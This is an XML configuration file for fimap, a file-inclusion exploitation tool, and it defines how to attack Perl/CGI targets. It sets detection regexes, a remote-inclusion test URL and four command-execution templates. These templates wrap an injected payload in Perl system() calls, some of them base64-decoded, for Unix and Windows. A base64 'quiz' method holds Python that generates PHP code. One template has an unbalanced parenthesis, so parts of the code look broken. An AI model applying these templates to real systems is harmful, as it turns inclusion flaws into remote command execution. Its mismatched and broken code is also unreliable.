<?xml version="1.0" encoding="UTF-8"?>
<fimap language="perl" revision="0" force_inclusion_test="1" autor="Iman Karim (ikarim2s@smail.inf.fh-brs.de)" >
	<snipe regex="Can't locate (?P&lt;script&gt;[\d\w/\.\-]*?%s[\d\w/\.\-]*?) in .*? at.*?line \d+?\." />
	
	<relative_files>
	</relative_files>
	
	<absolute_files>
	</absolute_files>
	
	<remote_files>
		<file path="http://www.apache.org/dyn/closer.cgi"	find="We suggest the following mirror site for your download"	flags="rR"  unix="1" windows="1"/>
	</remote_files>
	
	<log_files>
	</log_files>
	
	<exec_methods>
		<exec unix="1" win="0" dobase64="1" name="system[b64]"    	source='use MIME::Base64; system(base64_decode("__PAYLOAD__")) . " 2&gt;&amp;1";' />
		<exec unix="1" win="0" dobase64="0" name="system"   		source='system("__PAYLOAD__" . " 2&gt;&amp;1";' />
		<exec unix="0" win="1" dobase64="1" name="system[b64][win]" source='use MIME::Base64; system(base64_decode("__PAYLOAD__"));' />
		<exec unix="0" win="1" dobase64="0" name="system[win]"   	source='system("__PAYLOAD__");' />
	</exec_methods>
	
	<payloads>
				
	</payloads>
	
	<methods>
		<quiz  isbase64="1" source="cm5kID0gc2VsZi5nZXRSYW5kb21TdHIoKQpwaHBjb2RlID0gImVjaG8gIgpmb3IgYyBpbiBybmQ6CiAgICBwaHBjb2RlICs9ICJjaHIoJWQpLiIlKG9yZChjKSkKcGhwY29kZSA9ICI8P3BocCAlczsgPz4iICUocGhwY29kZVs6LTFdKQpyZXQgPSAocGhwY29kZSwgcm5kKQo=" />
		<print isbase64="0" source="print '__PLACEHOLDER__';" />
	</methods>
	
	<detectors>
		<include_patterns>
			<pattern regex="in .*? at (.*?) line \d+?\." />
		</include_patterns>
		
		<readfile_patterns>
		</readfile_patterns>
		
		<extentions>
			<extention ext=".cgi"/>
			<extention ext=".pl"/>
		</extentions>
	</detectors>
</fimap>
